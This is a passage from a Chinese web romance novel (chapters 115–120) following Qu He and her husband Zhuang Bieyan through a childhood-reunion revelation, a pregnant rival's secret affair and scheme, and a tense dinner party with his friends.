还偏偏围绕的是备孕的话题,好像谁在这方面输了就是丢了多大面子似的。
这就是男人的自尊心吗?
果然啊,男人至死是少年。
不理解,真的不理解。
曲荷和纪舒对视一眼,都在对方眼里看到了同样的无奈和好笑。
陆津川明显不服气,嗷了声,可一个字还没蹦出来就被纪舒扼杀了。
她拉住陆津川的胳膊,把陆霜宁放到他怀里,打断了这场男人间的对话。
“行了行了,越说越没正形。庄总身上有伤,确实不能喝酒,我们也别打扰了。”
她转头看向曲荷,把话拉回正轨,“曲荷,今天真的多亏你们了。那回北城后我们再聚,今天的事总归是要道谢的。”
曲荷点头。
陆津川一副意犹未尽的样子,熟练抱着女儿,另一只手则圈在纪舒腰间,一脸宠溺:“听老婆的。
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”
他朝庄别宴点了点头,算是告别。
庄别宴颔首回应。
两人现在这模样,好像刚才的小学鸡对峙真的就像错觉一样。
一家四口的身影逐渐远去,纪宴礼乖乖牵着妈妈的手还不忘回头和曲荷挥手告别,而陆霜宁则在陆津川怀里叽叽喳喳说个不停。
曲荷脸上的笑意还未完全褪下,她看着旁边神色平静的男人,笑道,“你们男人之间..都是这么聊天的吗?”
庄别宴低头看她,揽过她的肩完全纳入自己怀里。
“别理他。”他声音低沉,带着几分宠溺,“他就是嫉妒。”
“嫉妒什么?”曲荷下意识问。
“嫉妒我娶到了你,嫉妒我们感情好。”
“啊?”
曲荷又回头看了眼一家四口离开的方向,想着刚才陆津川呵护纪舒的样子,“陆总嫉妒?可是他和纪舒姐感情那么好,嫉妒什么?”
庄别宴听着,意味不明啧了声,“这就看出来了?”
曲荷不解看了他一眼。
庄别宴把她转了个身,面对面抱着她,“陆津川和纪舒之间,错过了好几年。差一点,他就失去她了。”
他言简意赅说了两人那段跨越数年的过往,错过的青春,误解的时光,还有那段刻骨铭心的遗憾。
虽然他说得简单,但曲荷却听得眉头蹙起,不自觉感到揪心。
没想到陆津川和纪舒之间经历了这么多,她想到了那场盛大的结婚登报,感叹:“..好在最后是苦尽甘来,陆总也算得偿所愿,还有了这么可爱的两个孩子。”
她的话里带着由衷的羡慕和祝福。
“苦尽甘来,得偿所愿....”庄别宴喃喃重复这两句话。
他很轻笑了下,带上这一丝难以言喻的复杂,搂着她往外走,“他们这才多久...”
夜风拂过,吹散了他后半句近乎呢喃的话。
曲荷只依稀听到了几个字,仰头问他:“嗯?你说什么?”
庄别宴敛起神色,摇摇头,把她紧紧搂入怀里,“没什么。”
曲荷靠在他怀里,听着他沉稳的心跳,想着纪舒和陆津川的破镜重圆,又想到了自己。
她和庄别宴的结局会好吗?
他那段过去到底是什么?
她的存在,是他们这段故事的主角,还是另一个故事的阻碍?
她最后也会苦尽甘来吗?
无数的问题在心底翻涌,鼻尖一酸,所有的话伴着夜风无声咽了回去。
她只能更紧回抱住他,好像这样就能汲取到一些安全感。
第116章 不是初见,是重逢
飞机降落北城机场。
不过在江城待了几日,再次回到北城,心境倒是全然不同。
曲荷心里竟生出一种恍惚的惘然。
迈巴赫汇入城市车流。
在经过前方一个熟悉的路段时,在红绿灯前停了好一会儿。
后座,曲荷百无聊赖看向窗外。
一群带着小黄帽的小学生,背着小书包叽叽喳喳从大巴车上下来,在老师引导下排队过马路。
马路对面,就是北城地标之一的环城乐园。
“咦?”
庄别宴闻声回头,声音温和:“怎么了?”
曲荷摇摇头,目光却依旧追着外面那些活泼的身影,带着感慨,“没什么,只是好奇现在小学就能参加环城乐园的暑期研学了。”
她被勾起回忆,“想起了自己第一次来环城乐园,还是在初一暑假。”
曲荷叹气,带着几分遗憾,“那天刚进园就摔了一跤,手肘擦破了,好多刺激的项目都不能玩,只能眼巴巴看着别人。”
庄别宴手指微微一动,下意识抚上大腿。
原本温和的眸底瞬间荡开复杂的涟漪。
他垂眼,掩去眼底翻涌的情绪,再抬眼,语气带着刻意压制的轻缓,“那岂不是很可惜。”
“是啊,当时可郁闷了。”
曲荷说着,忽然又像是想起了什么,眼睛亮了一下,带着些小骄傲侧身和他说,“但是,我那篇研学日记,拿了全校最高分!”
庄别宴心跳骤然加速,突然又停滞了半刻,被撕扯着,钝痛又激动。
看着曲荷脸上飞扬的神色,他预感到她接下来要说什么。
他努力让自己的语气听起来只是普通的惊讶,“哦?这么厉害?”
曲荷沉浸在回忆里,并未察觉他的异样。
“那当然。虽然那天很多项目都没玩,但我帮了一个坐轮椅的小哥哥,还陪他看了城堡烟花秀。”
说着说着,曲荷也觉得好笑,“那轮椅还挺重的,我当时自己都受伤了,也不知道哪里来的力气推上那个坡。”
她说的每一个字在这一刻化成了钥匙,一层层打开了记忆的锁。
庄别宴安静听着,没有插话,只是目光一直追着她的侧脸,眼里情绪愈发浓郁,像化不开的墨。
在这一刻,无人知晓他的心底卷起一场惊涛骇浪。
那个被他珍藏了十余年的夜晚,因为她的话骤然清晰。
人群的喧嚣,轮椅的孤寂,绚烂的烟花,以及她突然出现时,带来的那阵夏夜的风。
“....对了,好像那天还是那个小哥哥的生日,我还把新买的钥匙扣也送给他了。”
少女清脆的声音,穿透了岁月,再一次落在他耳边。
“...后来我就把这段经历写进了研学日记里,老师说特别真情实感,还拿了最佳作文奖。其实在那后,我每次去环城乐园,都会下意识去看烟花那个位置……总想着如果能再遇到那个哥哥,一定要把这件事告诉他...”
原来,她一直记得,甚至还视为了一段骄傲的回忆。
阳光透过车窗落在她跳动的睫毛上,一切美好都那么不真实。
十余年,时光荏苒,他孤身跋涉的漫长暗涌,终于在此刻,听到了源头回响。
他赌赢了...
那股强烈的冲动几乎就要冲破胸膛,酸涩和狂喜冲刷着四肢百骸。
阿荷。
那从来不是我们的初见。
是重逢。
可最后他什么也没说。
车子穿过主道路,驶入隧道。
车内光线骤暗。
借着这份昏暗,庄别宴终于不再掩饰眼底积攒的情绪。
他伸手,更紧的,近乎贪婪地握住了曲荷的手,按在了自己大腿上。
指腹带着一丝不易察觉的颤抖。
他声音低沉缱绻,但又非常笃定:“阿荷,他很开心。”
曲荷转头看他,对他如此肯定的语气有些好奇。
庄别宴迎上她的目光,温柔而确信:“他非常……非常开心。能被你记在心里这么多年,以这种方式参与了你的一段人生,肯定是他最好的生日礼物。”
曲荷笑开,眉眼弯弯,“是吗?哈哈,希望是吧。也希望那个小哥哥现在也能一直开心。”
庄别宴看着她明媚的眉眼,喉结滚动。
他会的。
因为从那个夜晚开始,他的所有快乐,期许,甚至生命中最值得纪念的灿烂时刻,都与你有关。
......
是夜。
曲荷睡得不安稳。
她被带入了一场场光怪陆离的梦境里。
梦里每个场景都蒙着一层薄雾,可望不可即。
长长的窄巷里,檐下的贝壳风铃吹得叮铃响。
扎着羊角辫的小女孩跑得飞快,红扑扑的脸上沾着泥巴点。
她却丝毫不在意,高高举着一篮刚摘的杨梅,清脆的声音在巷子里回荡,“燕子哥哥,我给你带最大最甜的杨梅啦!”
巷子深处,传来一道清清冷冷,又故做冷淡的稚嫩小男声:“..我又没说要吃。”
小女孩笑得更开心了。
她挥舞着小胳膊跑得更快,却不小心提到了路边凸起的石头,小小身子踉跄了一下。
几乎在她
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踉跄瞬间,巷子那头的声音立刻绷紧了。
男孩刻意维持的冷淡被打破,带着硬邦邦的担忧,“你慢点!摔倒了....摔疼了,你哭了....我才不会来扶你,我不会过来的。”
小女孩稳住身子,毫不在意他的话,喊道:“知道啦,阿荷没事。嘿嘿嘿,杨梅也没事!”
说完,她跑得更快了,羊角辫在脑袋后一甩一甩。
阳光透过树叶缝隙洒下来,光影斑驳,温柔地落在轮椅上的男孩身上。
他穿着干净的白色T恤,在阳光下有些晃眼,更衬得他的皮肤更加白皙,带着种易碎感。
阳光像是故意捉弄人,始终模糊着他的脸,只能看到他略显紧绷的下颌,以及那双因为女孩靠近微微抿起的唇瓣。
曲荷想再靠近一点,看清他的样子,可天突然暗了下来。
眼前的画面瞬间碎了。
下一秒,她站在了环城乐园里。
人声鼎沸里,她独自坐在长椅上闷闷不乐吃着薯条。
她扭了扭受伤的手腕,突然看到不远处一个试图独自推轮椅上坡的男生。
他穿着干净的白衬衫,但推着轮椅的手背却因用力而青筋凸显,动作僵硬却带着倔强。
曲荷小跑过去,声音清脆,“你好小哥哥,我来帮你吧。”
男生的脊背在这一刻更僵硬了些,他飞快低下头,额前的碎发遮住了他的眉眼,却露出了别在胸前的生日徽章。
曲荷用力帮他推上平台。
男生转过头来,似乎想道谢。
恰在这时,远处的烟花轰然升空绽放。
她下意识抬头看向漫天璀璨,耳边只捕捉到了一句被烟花声掩盖的“谢谢。”
声音清洌,但...格外熟悉..
那声音...
曲荷猛地睁开眼。
胸口还因这个梦境微微起伏。
窗外天光大亮。
她愣了好一会儿才从梦境脱离出来。
是因为昨天和庄别宴提了环城乐园的事,所以才梦到那个小哥哥吗?
可那个树下的轮椅少年又是谁?
她记得上次也似乎梦到过这个迷糊的身影。
可为什么这梦里两个人的声音,会这么像?
还带着一种说不出的熟悉感。
“醒了?”
熟悉的声音在耳边响起。
曲荷循声看去,庄别宴正站在床尾换西装,领带还没系好。
“早餐已经准备好了,吃完再去医院看司月。嗯?”
他的声音...
居然和梦里的那些话奇妙地重合起来。
曲荷下意识看向他的双腿..
第117章 晚上见,庄太太
庄别宴顺着她愣怔的目光,低头往下看了眼。
似乎误解了什么。
他轻笑,忽然单膝跪上床垫,俯身将她笼在怀里,暧昧调侃:“才刚睡醒,昨天不是还喊累吗?难道是我不太努力?”
“但是,现在不行,等会有个会,晚上...给你好不好?”
他说着假装无奈叹气。
曲荷被他这番话拉回现实,反应过来自己的眼神让他误会了。
一整个又羞又恼,抓过旁边的枕头盖在自己脸上,瓮声瓮气推了他一把,“我才没有那个意思!你..你快走吧,要迟到了!我吃完早饭也要出门了!”
庄别宴胸膛震动,低笑出声。
看着这个小鸵鸟,她揉了揉她的发顶,语气宠溺:“好,那我走了。晚上见,庄太太。”
直到听到房门关上的响声,确保他离开后,曲荷才拿下枕头。
心跳,依旧快得不像话。
那个梦...
还有高度重合的声音...
以及他偶然流露出的,那些让他无比熟悉的温柔..
但很快,曲荷就把心里那个荒谬的猜测赶出脑袋。
那个轮椅哥哥和庄别宴的气质性格完全不一样,肯定是她还没睡醒。
.....
到了医院后,曲荷思绪还是有些飘忽。
那个似真似假的梦始终萦绕心头,久久未散。
司月叫了她好几声,她才回神。
“学姐,学姐?”司月手在她面前晃了晃,“魂儿被庄总勾走了?”
曲荷眨了眨眼,掩饰性地拿来一个橘子,低头剥了起来。
“胡说八道什么呢。”
两瓣橘子塞进嘴里,酸甜微凉的汁水在舌尖炸开,让她清醒了几分。
“明明我才是那个伤员,怎么感觉学姐你的脸色比我还不好。”
司月咬了口苹果,含糊不清吐槽。
“啊?有吗?”曲荷反手摸了摸脸。
她定了定神,看着司月脸上憋不住笑的表情,反击调侃,“你还敢嘲笑我?说出去谁信啊?是谁过斑马线被电瓶车蹭了下,没摔出个骨折骨裂,倒是在医院查出个阑尾?这是没谁了。”
司月伸出一个手指,在她面前摇着,“你不懂!这叫因祸得福,提前排雷!医生都说了还好发现及时,再拖半个月就要穿孔了。”
两人说说笑笑,临近中午,曲荷和她道别准备回去。
她帮司月接了壶热水放在床边,“那怎么说?明天出院我来接你?”
“不用不用。”
司月赶紧摆手拒绝。
“学姐你明天不是还要准备入学资料吗?”司月挠了挠脑袋,她语气快了些,“我可以的,有……有朋友来接。”
她的眼神有点闪躲,不过曲荷正忙着收拾东西,没注意到。
“行,那我先回去了,有事给我打电话。”
“知道啦,学姐慢走,拜拜。”
离开病房,曲荷坐电梯下楼。
刚下到一楼,外面雨声哗然,暴雨不期而至。
曲荷的车停在门诊对面停车场,无奈只好从住院部里面的长廊绕过去。
长廊空旷安静,只听得见窗外磅礴雨声和自己的脚步声。
她正低头给庄别宴发消息,就听到前面柱子后面的角落里传来了一阵压抑的激烈挣扎声。
熟悉的女声带着哭腔和愤怒:“安达,你放开我!这是我的孩子,和你有什么关系?”
男人焦急劝阻,“阿眠!医生都说了孩子现在状态很不稳定,你现在做修复手术就是在拿孩子命赌。我不会同意的!”
“和你有什么关系。”
“凭我是孩子的爸爸。”
“那你就是在逼我**!”女人声音突然变高,带着绝望。
几番争执拉扯后,一个穿着西装的男人从柱子后被推搡出来。
曲荷本想着赶紧离开,可好巧不巧,男人踉跄了几步后,正好停在她面前。
是安达。
钱昭野的助理。
他稳住身子后,抬头正好和曲荷的目光撞个正着,脸上瞬间布满惊愕和慌乱。
而柱子后面,走出来一个穿着宽松孕妇裙,带着口罩的孕妇。
是乔眠。
乔眠顺着安达的视线看过来,在看到曲荷的那瞬间,整个人僵在原地。
她托着肚子的手都在发颤,满眼震惊和心虚。
看着眼前这荒诞的一幕,曲荷看了眼乔眠的肚子,又结合刚才听到的那些话,一个荒谬的猜测浮上心头。
钱昭野居然也有被戴绿帽子的一天。
她皱了下眉,是真没想偷听这档子事。
纯路过!
她可不想当瓜田里的猹。
只想赶紧离开。
曲荷正想收回视线,准备装作什么都没看到走开。
可乔眠像是突然惊醒了,托着大大的肚子,快步冲了过来,死死抓住了她的手腕,力道大的不像个孕妇。
“你不能走!曲荷..你听到了什么?”乔眠声音发飘,口罩上的眼睛死死盯着曲荷。
曲荷看着她这副欲盖弥彰的样子,试图抽回手,但又念着她是个孕妇不敢太用力。
“我什么都没听到,你放手!”
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“你撒谎!你肯定听到了!”
乔眠不但没放开,反而抓得更紧,指甲几乎就要掐进曲荷的肉里。
“你肯定听到了,你不能走,不能告诉钱昭野!”
乔眠慌乱不已。
她只知道不能让曲荷走。
钱昭野已经因为之前网上的事情对她非常不满,快半个月没回家了。
如果再让他知道孩子不是他的....她不敢想!
钱昭野肯定会把她赶出钱家..
不行!
她不能失去现在的生活,她马上就要成为钱太太了!
乔眠赶紧给旁边的安达使了个眼色。
安达眼底闪过一丝挣扎,但看到乔眠恐慌的样子,还是咬了咬牙。
他上前一步,想去抓曲荷另一只手,试图控制她。
曲荷看到两人的小动作,冷笑,“我再说一遍,放开!我对你们的事情没兴趣,也没闲到和钱昭野嚼舌根。”
乔眠偏执回怼:“你骗人!你如果不想和钱昭野告状,为什么不敢看我?”
曲荷无语。
大姐,我这不是想装作没看到你,大事化小,小事化无,偷偷走吗?
你就当作没看到我,就当作一场梦,不行吗。
你非得搞这一出。
我当然不能说我听到了,又不傻。
眼看安达马上要抓住她的手,曲荷赶紧拿出手机亮在两人面前,“我刚和庄别宴发完消息,他马上就到医院门口。你们要是想在这里闹,我不介意喊人过来评评理。”
她眼神冷静得可怕,看向安达,“你敢碰我一下试试?看看是你们的手快,还是庄家人来得快?”
安达不敢上前,僵在原地。
曲荷又看向乔眠,警告:“你们要是想碰瓷我,最好想清楚后果。我没兴趣管你肚子里的孩子,对你们这种龌龊事更是没半点兴趣,但你们要是再不依不饶,我也不会让自己平白无故惹上麻烦。”
这话瞬间浇灭了乔眠的冲动。
两人的脸色逐渐发白,血色尽失,也不敢再有任何动作。
庄别宴的手段,他们都是见识过的。
乔眠抓着曲荷的手慢慢松了下来,眼里满是不甘和恐惧。
曲荷趁机抽回自己的手,揉了揉发红的手腕,没再看两人一眼,转身离开,脚步没停半分。
直到曲荷的身影彻底消失在长廊尽头,乔眠整个人像被抽干了力气,差点摔倒在地,幸好被安达扶住。
她靠在安达怀里,带着哭腔,“她那个眼神...她一定都猜到了!她一定会告诉钱昭野的...怎么办?”
第118章 阿荷,我后悔了
只要想到曲荷会把这件事告诉钱昭野,乔眠内心就被巨大的恐慌包围。
不行!
她不能让曲荷说出去!
不能让曲荷毁了她!
乔眠抓着安达的手臂,一遍遍重复着刚才那些话,近乎疯魔,“不能让曲荷把今天的事说出去,不能让她说出去...”
安达抱着她,看着乔眠近乎逐渐失控的样子,心里发涩。
“阿眠,听我一句劝,好不好?”
他带着一丝不切实际的期望开口,“我们去和钱总坦白吧。所有责任我来扛,就说是我强迫你的...然后我带你离开北城,把孩子好好生下来,我们一家三口好好过日子,行吗?”
“离开北城?”
乔眠被这几个字烫到了,猛地回神甩开他的手。
她一脸难以置信看着安达,无比愤怒,“你疯了?我好不容易才在北城安定下来,我吃了多少苦付出了多少才走到今天?我马上就是名正言顺的钱夫人了,你让我现在放弃一切跟你走?凭什么?你疯了还是我疯了?”
乔眠越说越激动,口罩剧烈起伏着,下滑露出了脸上的红肿。
她指着长廊尽头,曲荷离开的方向,眼里满是怨毒。
“都是因为她,都是曲荷!”
乔眠声音因为恨意而颤抖,“她为什么偏偏要出现在这里?要不是她突然出现,我们的事就不会暴露!她肯定是故意的,她就是想毁了我!她该死!”
安达被她推得后退了一步,看着她狰狞的模样,眼里掠过深深的痛楚。
从前的乔眠虽然有野心,却没这么偏执。
他反手握住她的手,试图让她冷静下来,“阿眠,你冷静一点。你看看你现在的样子,你以前不是这样的...怎么现在变得让人这么陌生?”
“以前?陌生?呵...”
乔眠被踩到痛处,甩开他的手,语气冰冷又刻薄,“别再跟我提以前,我们早就分手了!你现在凭什么管我?要不是为了孩子,我根本就不会再跟你见面!”
安达被甩开的手僵在半空,嘴角勾起一抹苦涩的自嘲。
她说的这些话,像淬了毒的刀子一样,一下下往他心里扎。
看到安达受伤的神情,乔眠突然清醒了些。
安达是她现在唯一的助力,要除掉曲荷,自己还需要依靠他,不能把他推开。
乔眠压下情绪放缓语气,上前拉住他的手,眼眶瞬间红了。
她声音软了下来,委屈道歉,“安达,对不起。我刚才太激动了,不是故意要和你说重话的。”
她摇着安达的手,恳求道:“你也知道我走到今天不容易。曲荷本来就和我不对付,她那么恨我抢走了钱昭野,肯定会把今天的事捅出去。难道你要看着我被钱家抛弃,看着我们的孩子生下来就没有名分吗?”
她说着眼泪就掉了下来,顺势靠在他怀里,声音哽咽,“我没有退路了,你帮帮我,帮帮我好不好。”
乔眠主动抓住他的手,放在自己隆起的肚子上,“你摸摸,这是我们的孩子啊。你感觉不到吗?宝宝在动,这是我们的骨肉啊!”
安达的手在颤抖。
她的眼泪,她的恐惧,以及掌心下新生命的悸动,那些犹豫挣扎原则,在一点点被击溃。
他闭了闭眼,再睁开时,眼里只剩下麻木的决绝。
他轻轻拍了拍乔眠的背,声音低沉又压抑,“你想让我怎么做?”
乔眠闻言,眼底闪过一丝狠戾,声音却带着诡异的冷静,“让她闭嘴,让她身败名裂,再也不能碍我们的事!”
安达抱着她的手紧了紧,没说话,眼里只剩下一片暗沉。
乔眠摸了摸自己的肚子,心头蔓延出一丝极其复杂的,近乎母性的痛楚,但很快又被贪婪和恐惧取代。
她伸手圈住安达的腰,乖顺地靠在他怀里。
“别担心,我知道有个人...她一定会帮我们的。”
长廊里不知从哪里吹来一阵风,吹动乔眠的孕妇裙,也吹得空气里多了几分不安的寒意。
....
曲荷步履匆匆,直到离开医院长廊,坐进车里锁上门,才终于找回安全感松了口气。
那股胆寒的后怕还萦绕心头。
她看了眼手机,屏幕上的通话界面让她愣了一下。
刚才出来这段路,她居然下意识拨出了庄别宴的号码。
他那边已经开始接通。
曲荷缓了口气,按下免提。
“准备回家了吗?”
庄别宴的低沉安稳的的声音从手机听筒流出,带着安抚的力量,淌过心头,抚平刚才的后怕和不安。
曲荷点头,反应过来他看不到
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后,又轻轻“嗯”了声。
鼻子有点发酸,她确实有瞬间冲动,想把刚才在医院里碰到的事告诉他。
可话到嘴边又咽了回去。
还是算了吧。
庄别宴的声音带着笑意,驱散车里的沉闷。
“刚想着给你打电话,这算不算心有灵犀?”
曲荷被他逗笑,“给我打电话做什么?”
“阿荷要不要赏脸,晚上陪我参加个聚会?等雨停后我让司机过去接你。”
“聚会?”
曲荷下意识就想到上次在小洋房里参加的那场拍卖会。
“嗯,几个认识的朋友,还有刚从英国回来的。”他语气平常,“别担心,只是普通饭局。”
“好。”曲荷应下。
挂断电话后,她开车回家。
虽然庄别宴说得轻松,只是朋友之间的聚会,但毕竟这是第一次正式接触他的朋友,等于是融入了他的交际圈,意义不同。
曲荷还是非常重视,在衣帽间待了好半天,最后目光落在了前段时间庄留月送她的藕粉旗袍上。
领口绣着细碎的珍珠白缠枝莲,温婉又气质,应该不会出错。
傍晚雨势转小,只剩下淅淅沥沥雨丝刮在窗户上。
司机已等在楼下,曲荷换上旗袍下楼。
约莫二十分钟,车子停在尊悦门口。
庄别宴等在楼下,侍应生在他头顶撑了把黑伞。
他静静伫立在雨幕边缘,眸光望向她来的方向,仿佛已等候多时。
雨丝如纱笼罩着夜色,昏黄的路灯洒落直下,把他挺拔的身姿勾勒得愈发标致。
许是朋友间的私人聚会,打扮也不算正式。
戗驳领黑色衬衫,领口微敞随意解开两颗纽扣,细雨中男人额前碎发微微吹动,这样的他少了几分商场上的冷峻威严,多了几分慵懒不羁的随性。
他几步迎上来,目光在她身上停留了片刻,却微微蹙起了眉,不由分说揽住她的腰,把她半护在怀里。
两人坐了VIP电梯直达顶层。
曲荷感觉他有点怪怪的,好像在不开心。
她晃了晃他的手,轻声问:“你还没说你的朋友都是谁呢?我等下怎么称呼?”
庄别宴侧头,目光落在她领口的缠枝莲上,喉结滚动:“阿荷,我后悔了。”
曲荷:“?”
第119章 你救救我,原谅我
他隔空拂过旗袍的立领,语气带着毫不掩饰的霸道和懊恼。
”我老婆今天这么好看,便宜他们了。”
曲荷脸红,低下头。
电梯狭小的空间里,他低下头,温柔呼吸拂过耳廓,“阿荷,我第一次见你穿旗袍,很美。”
曲荷心跳加速,强装镇定,“领证那天也穿了。”
“那不一样。”
“有什么不一样的。”
“现在的阿荷比当时更爱我了。”
男人的情话直白又热烈,曲荷耳根子都烫了。
这个男人说起情话来,真是三套减两套,让人招架不住。
幸好,电梯门开了,她赶紧推了他一把,率先走出去。
侍应生引着他们往包厢走。
刚到门口,就看到一个染着黄毛,穿着花衬衫的男人在原地焦急转圈圈,一见他们像救星一样扑了过来,目标明确直奔庄别宴。
“老二,你要救我!你一定要原谅我!”
他一把抓住庄别宴的胳膊,表情夸张,宛如世界末日到来。
曲荷在旁边一头雾水。
这....什么情况?
庄别宴面无表情抽出手,嫌弃看了眼被他握住的手,和曲荷介绍,“段衡阳,段氏集团继承人。”
段衡阳闻言,立刻收起苦瓜脸,挤出标准营业笑,热情地对着曲荷一通自我介绍。
“你好曲荷,久仰大名!我叫段衡阳,是老二在英国的校友,他住在隔壁两条街的邻居,他在英国的饭搭子,未来商业上的倒霉搭档,以及他婚礼上最帅的伴郎。”
他的语速非常快,像在报菜名一样,甩出一长串头衔。
曲荷被他这自我介绍弄得有点懵。
庄别宴的朋友都这么...别具一格吗?
先是品味独特的郁汕,气质出众的刑警队长顾聿,还有这个...变脸大师。
她愣愣点头和他打招呼,“你好....”
段衡阳和她打完招呼,瞬间又变回苦大仇深的模样,可怜兮兮看向庄别宴哀求,“老二!我们这么多年的交情,如果我一时糊涂做错了一点小事,你一定会原谅我的吧。”
庄别宴眯眼。
“难道你忍心三个月后你的婚礼上,缺少一个像我这样英俊潇洒,能活跃气氛的伴郎吗?”
庄别宴无语看了他一眼,”说人话。“
段衡阳看了眼曲荷,欲言又止。
曲荷很识趣,立刻说,“你们先聊,我去那边露台....”
话没说完,就被庄别宴牵住手。
他低头看她,眼神认证坚定,“阿荷,我答应过你,我对你没有秘密。”
他转而看向段衡阳,“直接说。”
段衡阳眼睛一闭,咬牙直说,“刚才时雨给我打查岗电话,我想着反正也是和你们在一起正经聚会,也没什么可瞒的。但没想到她和那个谁在一起,然后...然后刚才她们一起过来了。”
那个谁?
是谁?
时雨,又是谁?
庄别宴和曲荷表情如出一辙,一脸蒙。
段衡阳声音模糊得像是含了核桃:“###就那个@??%??……”
庄别宴耐心耗尽,眼神微冷。
段衡阳被吓得一哆嗦,眼睛一闭,大声喊了出来,”燕舒!是燕舒!“
他指着包厢,“时雨刚好和燕舒在逛街,听到我和你们有约后,非要拉着她过来。刚到没多久,现在全都在里面呢。”
曲荷一愣。
燕舒?
为什么燕舒过来,段衡阳会是这样一副天要塌压下来的样子?
她下意识看向庄别宴。
庄别宴显然也没想到他要说的会是这个,眉头紧锁。
他第一反应是看向曲荷,眼神带着紧张。
段衡阳赶紧凑过来,和曲荷解释,“你千万别误会!这事老二真不知情,所以我才在门口等着负荆请罪呢。要不我现在就带我女朋友走,咱们下次再约。”
庄别宴握着曲荷的手紧了紧。
看着庄别宴的反应,她心里挤出不安。
直觉告诉她今天可能会发生一些并不想遇见的事情。
但,她真的很想知道,庄别宴和燕舒之间的纠葛。
为什么燕舒只是来参加了聚会,他的朋友就会这样,好像很怕她介意什么。
曲荷摇头,扯出淡淡的笑,“没事,来都来了,进去吧。”
推门走进包厢的时候,庄别宴始终牵着她的手。
包厢灯光偏暗,氛围雅致,淡淡的音乐声环绕其中。
听到开门声,里面的人纷纷看了过来。
曲荷一眼就看到了坐在吧台旁边高脚椅上的燕舒,在看到她的穿搭后,脚步一顿。
她们今天的穿搭,非常相似。
曲荷穿着是一件藕粉旗袍,而燕舒身上是一条水蓝色旗袍,只是她的款式更偏新中式一些。
在这样的场合下,她们的穿搭和风格形成了某种微妙的呼应。
燕舒的目光从他们进门起,就直直看着曲荷跟庄别宴紧握的手上,心头浮起深深的嫉妒和刺痛。
但她很快敛起情绪,调整好表情,走上前来。
她朝着曲荷淡淡一笑,带着几丝亲昵,好像和在上次江城看到的人,不是同一个。
“曲荷,庄先生
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。刚和时雨在逛街,听说你们这里有聚会,过来不打扰吧。”
曲荷还没说什么,一个穿着俏皮小短裙,金发碧眼的外国女生走了过来,亲昵地挽住了燕舒胳膊。
想必这个就是时雨了。
她说话还带着外国口音,“燕舒姐,你干嘛这么客气,我们在英国的时候,不也经常找你和Arthur玩吗?那时候多开心啊。”
曲荷听着时雨暗示性极强的话,眉心一动。
经常?
找你和他?
曲荷心头像被针扎了一样,密密麻麻的酸涩蔓延开来。
她和庄别宴?在英国经常在一起吗?
燕舒不好意思嗔了时雨一眼,然后又看向她旁边的庄别宴。
那一眼,意味深长,包含了太多情绪,藏着只有他们几人才懂的共同回忆。
“时雨,别胡说,现在...情况不一样了。”
她轻声细语,流露着几分落寞,像在刻意强调着什么。
曲荷听着她话里的意思,让人很不舒服。
时雨却浑然不觉,没听出燕舒话里的意思,只是为她抱不平。
她挑衅般看了眼曲荷,语气夸张:“有什么不一样的。难道结婚后就要剥夺交友自由吗?曲小姐,你应该不是这么小气的人吧,我们之前在英国的时候,可都是很free的。”
“再说,你们中国不是有句古话,叫做有朋自远方来,不亦乐乎吗?”
包厢瞬间安静下来,所有人的目光都聚焦在曲荷身上。
谁说外国人不会学中文了?
这中文说得可太棒了!
简直让在场所有人都下不来台。
没点阴阳怪气在身上,还真是做不到这么刻薄呢。
这话夹枪带棒,明里暗里都在暗示曲荷小气,管得多,还故意强调燕舒和庄别宴在英国交友自由。
段衡阳在旁边急得抓耳挠腮,燕舒一副与世无争模样,庄别宴沉下脸,正要开口。
却见曲荷突然轻轻笑了。
她上前半步,姿态从容,迎上时雨挑衅的目光。
“时雨小姐中文不错。”
“都是燕舒姐姐教我的。”她得意晃了晃身子。
“你说得对,有朋自远方来,不亦乐乎。但是...”
曲荷挑眉,笑道:“我们中国还有句老话,叫客随主便。主人家的聚会,自然是主人家来定规矩。不请自来还对着女主人指手画脚,这放在哪个国家,好像也算不上什么自由free,顶多算是....”
她说到一半,顿了下,扫过燕舒的僵硬的笑脸,字字如刀:
“缺乏教养!”
第120章 谁还没有个前任呢
时雨的中文水平还不足以完全理解“客随主便”的意思,曲荷那一番叽里咕噜的话她听得脑袋一懵。
但是缺乏教养四个字还是能听懂,知道这是在骂她。
她碧蓝的眼睛瞪得圆圆的,气急败坏地用中英混杂的语言怼了回去:“what?你就是这么说话的吗?sorude!”
她看向庄别宴试图寻求支持,一脸难以置信,“Arthur,你就允许她这样说话吗?”
曲荷听到她和庄别宴告状,嘴角勾起一抹嘲讽,“怎么?你刚才不是还崇尚自由吗?难道只允许你们交往自由,却不允许我**?那你这自由的标准,未免也太双标了吧?”
时雨被怼得哑口无言,气得在原地跺了跺脚,对着庄别宴急道:“Arthur!你...你就看着她这样说燕舒姐吗?你就一点都不念及以前的感情了吗?”
以前的感情?
这句话像根刺,扎得曲荷心脏一缩,凉意蔓延开来,连指尖都变得冰凉。
她看着旁边的庄别宴,他下颌绷得紧实。
所以,他们之间真的有过什么。
可他之前明明斩钉截铁地说没有交集。
所以,在场的所有人都知道他们的过去,只有她一个人被蒙在鼓里?
这种被排外的感觉,糟透了。
曲荷只觉得喉咙间泛起苦涩。
她还沉浸在思绪里,庄别宴的声音突然响起,低沉却冷硬。
“我和她,有什么感情需要念及?”
手突然被一双温热的掌心握住,力道坚定。
时雨被他的反问噎得一怔,结巴道:“You…..你…”
可在看到他投过来冰冷的目光的后,身子不自觉往后缩了缩,原本挑衅的脸色瞬间白了几分,嘴唇嗫嚅,好半天说不出一句完整的话。
曲荷愣住了。
本以为庄别宴或许会顾及场面,含糊带过,可他偏不。
他甚至不给时雨说话的机会,目光转向一旁的燕舒,语气没有半分缓和:“你自己说,我和你,有什么感情?”
包厢内空气瞬间紧绷。
燕舒被他直接的话问得愣了愣,原本端着姿态的手僵硬放下,捏紧了裙摆,下意识低头掩饰眼底的慌乱。
曲荷在一旁,看着庄别宴挺直的后背,心里那点委屈突然被撞散了些。
她没想到庄别宴会直接把问题抛回给当事人。
这感觉就像她自己躲在阴暗的房子里,听着外面的雨声胡思乱想,瑟瑟发抖不敢出门。
可庄别宴却直接撞开房门,拉着她走到阳光下,用实际行动告诉她,外面根本没有什么大雨,全是她的错觉。
时雨有些语无伦次:“你…你怎么能…..”
庄别宴已然失了耐心,看向旁边恨不得把自己缩进地缝里的段衡阳,声音沉冷,带着不容置疑的命令:“管好你的人。”
那一刻,他身上那股面对曲荷时的温柔纵容尽数敛去,属于上位者的威严和冷厉展露无遗,包厢内的气压都仿佛低了几度。
